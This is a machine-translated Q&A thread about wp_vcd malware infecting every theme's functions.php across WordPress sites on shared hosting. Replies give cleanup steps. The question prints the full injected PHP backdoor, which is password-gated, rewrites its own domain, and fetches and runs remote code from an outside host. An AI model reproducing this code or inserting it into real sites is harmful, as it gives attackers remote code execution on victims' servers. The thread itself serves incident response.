2017-09-14 53 views
0

我有一個共享主機和一些wordpress網站。 最近有時當我訪問我的網站時,彈出窗口打開。 於是我在Cpanel中打開了一個wordpress網站的模板目錄。此代碼對functions.php文件的頂部加入:我的共享主機上的所有wordpress網站的functions.php中的PHP代碼

<?php 

if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '220c580cc80d7d449f04533fc8f68c79')) 
    { 
    $div_code_name = "wp_vcd"; 
    switch ($_REQUEST['action']) 
     { 
    case 'change_domain'; 
    if (isset($_REQUEST['newdomain'])) 
     { 
     if (!empty($_REQUEST['newdomain'])) 
      { 
      if ($file = @file_get_contents(__FILE__)) 
       { 
       if (preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code9\.php/i', $file, $matcholddomain)) 
        { 
        $file = preg_replace('/' . $matcholddomain[1][0] . '/i', $_REQUEST['newdomain'], $file); 
        @file_put_contents(__FILE__, $file); 
        print "true"; 
        } 
       } 
      } 
     } 

    break; 

default: 
    print "ERROR_WP_ACTION WP_V_CD WP_CD"; 
    } 

die(""); 
} 

if (!function_exists('theme_temp_setup')) 
    { 
    $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI]; 
    if (!is_404() && stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) 
     { 
     if ($tmpcontent = @file_get_contents("http://www.dolsh.com/code9.php?i=" . $path)) 
      { 
      function theme_temp_setup($phpCode) 
       { 
       $tmpfname = tempnam(sys_get_temp_dir() , "theme_temp_setup"); 
       $handle = fopen($tmpfname, "w+"); 
       fwrite($handle, "<?php\n" . $phpCode); 
       fclose($handle); 
       include $tmpfname; 

       unlink($tmpfname); 
       return get_defined_vars(); 
       } 

      extract(theme_temp_setup($tmpcontent)); 
      } 
     } 
    } 

?> 

所以我deteled是和彈出式問題解決了。我從functions.php所有網站的文件中刪除,但 現在的問題是,當我訪問任何網站的functions.php,代碼是在那裏,它的所有主題,甚至未使用的主題。 我能做什麼?


我做什麼上懸而未決的問題

  1. wp-include目錄,刪除wp-vcd.phpclass.wp.php 文件
  2. wp-include目錄中,打開post.php和detele第一個PHP標籤 惡意軟件增加。
  3. 打開主題的functions.php文件,並刪除上面的代碼。

這應該會阻止彈出窗口。但我現在沒有多久它的工作。


我仍然沒有找到感染所有網站,但綁定找出的主要文件。

+0

那麼你的問題是什麼? –

+0

問題是,我該怎麼做以及如何刪除此代碼? – Meisam

+0

因此,代碼在你刪除後重新出現? – mwweb

回答

1

顯然你的網站已被入侵(被黑客入侵)。 您可以聯繫您的託管服務提供商,他們可能(當然)不會幫助你。 您可以聯繫網站安全公司,我使用sucuri.net。 如果你想自己清理,有2個選項

  • 刪除一切,然後重新安裝所有的網站,包括數據庫!
  • 如果你不能重新安裝所有東西,你必須檢查每個腳本的腳本以找到「怪異」的代碼並清理它。如果您發現幾個重複的關鍵字(例如顯示您的代碼的code9,您可以查找此代碼,但有時可能是code9,有時是不同的名稱)
  • 更新儘可能多,因爲插件,模板當然還有你的WordPress版本。
+0

感謝Alex,但刪除了一切都無法幫助我。數據太多,需要很多次才能恢復。這是最後的解決方案。 – Meisam

1

我知道這個答案是非常晚了,但我會分享我的經驗來幫助誰擁有這個問題的任何一個。 原因這個問題可能是你從外部下載插件的wordpress.org或一些機構已經訪問您的WordPress的管理員帳戶,你還沒有關閉editor.php在外觀標籤或黑客有你的FTP用戶名和密碼或... 解決這個創建一個完整先備份,並將其保存在你的電腦做任何錯誤,那麼情況:

  1. 去你的WordPress網站的主題目錄,並刪除未使用的主題都是因爲他們已經感染。
  2. in active theme編輯您的functions.php文件並刪除惡意軟件插入的所有額外代碼。您可以搜索「wp_vcd」或「wp-tmp」單詞來查找代碼。
  3. 下載最新的wordpress安裝。然後刪除wp-include和wp-admin文件夾以及public_html中除wp-content文件夾和.htaccess文件以及wp-config.php文件之外的所有文件。之後,用下載的wordpress替換已刪除的文件和文件夾。
  4. 刪除您從已知源下載的所有插件。
  5. 終於改變了所有的密碼,如ftp,管理面板,cpanel或直接管理和...以防萬一,如果黑客保存你的信息的地方。 希望這個小指南可以幫助別人。